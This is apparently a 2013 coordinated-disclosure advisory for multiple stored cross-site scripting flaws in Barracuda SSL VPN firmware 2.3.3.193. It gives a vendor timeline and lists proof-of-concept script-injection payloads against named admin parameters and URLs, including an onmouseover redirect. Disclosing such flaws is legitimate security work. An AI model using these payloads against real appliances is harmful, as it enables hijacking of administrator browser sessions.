Barracuda SSL VPN 680Vx 2.3.3.193 Multiple Script Injection Vulnerabilities Vendor: Barracuda Networks, Inc. Product web page: https://www.barracuda.com Affected version: 2.3.3.193, Model: V680 Summary: The Barracuda SSL VPN is a powerful plug-and-play appliance purpose-built to provide remote users with secure access to internal network resources. Desc: Barracuda SSL VPN suffers from multiple stored XSS vulnerabilities when parsing user input to several parameters via POST method. Attackers can exploit these weaknesses to execute arbitrary HTML and script code in a user's browser session. Tested on: Linux 2.4.x, Jetty Web Server Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Vendor status: [05.03.2013] Vulnerabilities discovered. [16.03.2013] Contact with the vendor. [17.03.2013] Vendor replies. [19.03.2013] Working with the vendor. [28.03.2013] Vendor confirms issues, track BNSEC-1239. [15.04.2013] Asked vendor for status update. [17.04.2013] Vendor replies. [18.04.2013] Confirming that the issues are still present on the demo test sites. (v2.3.3.193) [07.05.2013] Vendor informs that the version 2.3.3.216 since 13.03.2013 is patched from these issues. [08.05.2013] Coordinating with the vendor. [08.06.2013] Vendor confirms that as of firmware version 2.3.3.216 the issues have been resolved. [01.07.2013] Coordinated public security advisory released. Advisory ID: ZSL-2013-5147 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5147.php Barracuda Labs: http://barracudalabs.com/?page_id=3456 http://barracudalabs.com/?page_id=3458 05.03.2013 -- ==================================================================================== https://sslvpn.ptest.cudasvc.com/showSystemConfiguration.do?categoryId=821 CRLs ADD: "><script>alert(1);</script> Parameter: propertyItem[25].value ==================================================================================== https://sslvpn.ptest.cudasvc.com/showAuditReports.do (Reports) Username ADD: "><script>alert(1);</script> Parameters: user account ==================================================================================== https://sslvpn.ptest.cudasvc.com/showSystemConfiguration.do?categoryId=14800 Files to Scan ADD: "><script>alert(1);</script> Files to Exclude from Scanning ADD: "><script>alert(2);</script> Files to Block ADD: "><script>alert(3);</script> Parameters: propertyItem[1].value propertyItem[2].value propertyItem[3].value ==================================================================================== https://sslvpn.ptest.cudasvc.com/showSystemConfiguration.do?categoryId=810 Public Internal Web Sites ADD: "><script>alert(1);</script> VPN Port ADD: "><script>alert(2);</script> Parameters: propertyItem[1].value propertyItem[8].value ==================================================================================== https://sslvpn.ptest.cudasvc.com/showAvailableAccounts.do Available Groups ADD: "><script>alert(1);</script> Parameter: selectedRoles ==================================================================================== https://sslvpn.ptest.cudasvc.com/editMessage.do?actionTarget=sendMessageToUser&resourceName=user&realm=1&parent_name=edit Account ADD: "><script>alert(1);</script> Group ADD: "><script>alert(2);</script> Policy ADD: "><script>alert(3);</script> Parameter: policy ==================================================================================== https://sslvpn.ptest.cudasvc.com/editAccount.do?actionTarget=edit&username=guest&parent_name=edit Available Groups ADD: "><script>alert(1);</script> Authorized IP Addresses ADD: "><script>alert(2);</script> Other Computers (Waks-On-LAN) ADD: "><script>alert(3);</script> Parameters: selectedRoles propertyItem[1].value propertyItem[6].value ==================================================================================== https://sslvpn.ptest.cudasvc.com/editMessage.do?actionTarget=sendMessageToRole&resourceName=%22onmouseover=prompt%28%22XSS3%22%29%3E%0A%0DB&realm=9999&parent_name=edit https://sslvpn.ptest.cudasvc.com/editMessage.do?actionTarget=sendMessageToRole&resourceName=CLICK%20ME%20PLEASE%20!!!%20ZOMG%20XSS%20INVISIBLE%20%22onmouseover=prompt%28document.location=%27http://zeroscience.mk%27%29%3E&realm=9999&parent_name=edit Group ADD: "><script>alert(1);</script> Parameter: resourceName ====================================================================================